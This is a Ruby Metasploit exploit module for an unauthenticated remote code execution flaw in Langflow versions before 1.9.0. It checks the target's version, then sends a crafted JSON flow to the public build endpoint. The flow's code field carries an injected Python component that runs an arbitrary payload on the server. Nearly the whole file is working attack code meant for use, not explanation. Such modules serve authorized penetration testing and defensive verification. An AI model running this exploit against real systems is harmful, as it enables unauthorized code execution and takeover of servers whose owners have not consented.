# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Langflow Unauth RCE', 'Description' => %q{ Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the /api/v1/build_public_tmp//flow endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. }, 'Author' => [ 'Richard Howe ', # Metasploit module 'Diamorphine' # Discovered vulnerability ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-33017'], ['EDB', '52627'], ['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896'] ], 'Targets' => [ [ 'Python payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ] ], 'DefaultTarget' => 0, 'Payload' => { 'BadChars' => '"' }, 'DisclosureDate' => '2026-03-20', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]), Opt::RPORT(7860) ] ) end def check res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/version') } ) return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 doc = res.get_json_document package = doc.is_a?(Hash) ? doc['package'] : nil version_str = doc.is_a?(Hash) ? doc['version'] : nil return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str return Exploit::CheckCode::Unknown('Failed to identify application.') unless package return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow' begin version = Rex::Version.new(version_str) rescue StandardError return Exploit::CheckCode::Unknown('Failed to parse version.') end if version < Rex::Version.new('1.9.0') Exploit::CheckCode::Appears("Version #{version} appears vulnerable.") else Exploit::CheckCode::Safe("Version #{version} is not vulnerable.") end end def exploit flow_id = datastore['FLOW_ID'] fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id # Randomize component identifiers node_id = Rex::Text.rand_text_alpha(8) component_display_name = Rex::Text.rand_text_alpha(5) component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}" output_display_name = Rex::Text.rand_text_alpha(5) output_name = Rex::Text.rand_text_alpha(5).downcase output_method = Rex::Text.rand_text_alpha(5).downcase # The payload is executed within the output method so it runs when the # component vertex is invoked; the class definition allows Langflow to # resolve the component vertex. injected_code = "from lfx.custom.custom_component.component import Component\n" \ "from lfx.io import Output\n" \ "from lfx.schema.data import Data\n" \ "\n" \ "class #{component_name}(Component):\n" \ " display_name='#{component_display_name}'\n" \ " outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \ " def #{output_method}(self)->Data:\n" \ " #{payload.encode.gsub("\n", "\n ")}\n" \ " return Data(data={})\n" data = { 'data' => { 'nodes' => [ { 'id' => node_id, 'type' => 'genericNode', 'position' => { 'x' => 0, 'y' => 0 }, 'data' => { 'id' => node_id, 'type' => component_name, 'node' => { 'template' => { 'code' => { 'type' => 'code', 'required' => true, 'show' => true, 'multiline' => true, 'value' => injected_code, 'name' => 'code', 'password' => false, 'advanced' => false, 'dynamic' => false }, '_type' => 'Component' }, 'description' => component_display_name, 'base_classes' => ['Data'], 'display_name' => component_name, 'name' => component_name, 'frozen' => false, 'outputs' => [ { 'types' => ['Data'], 'selected' => 'Data', 'name' => output_name, 'display_name' => output_display_name, 'method' => output_method, 'value' => '__UNDEFINED__', 'cache' => true, 'allows_loop' => false, 'tool_mode' => false, 'hidden' => nil, 'required_inputs' => nil, 'group_outputs' => false } ], 'field_order' => ['code'], 'beta' => false, 'edited' => false } } } ], 'edges' => [] }, 'inputs' => nil } res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"), 'headers' => { 'Content-Type' => 'application/json' }, 'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}", 'data' => data.to_json } ) fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res unless res.code.between?(200, 299) fail_with(Failure::UnexpectedReply, "Unexpected server reply (HTTP #{res.code}).") end print_status('Payload sent successfully.') end end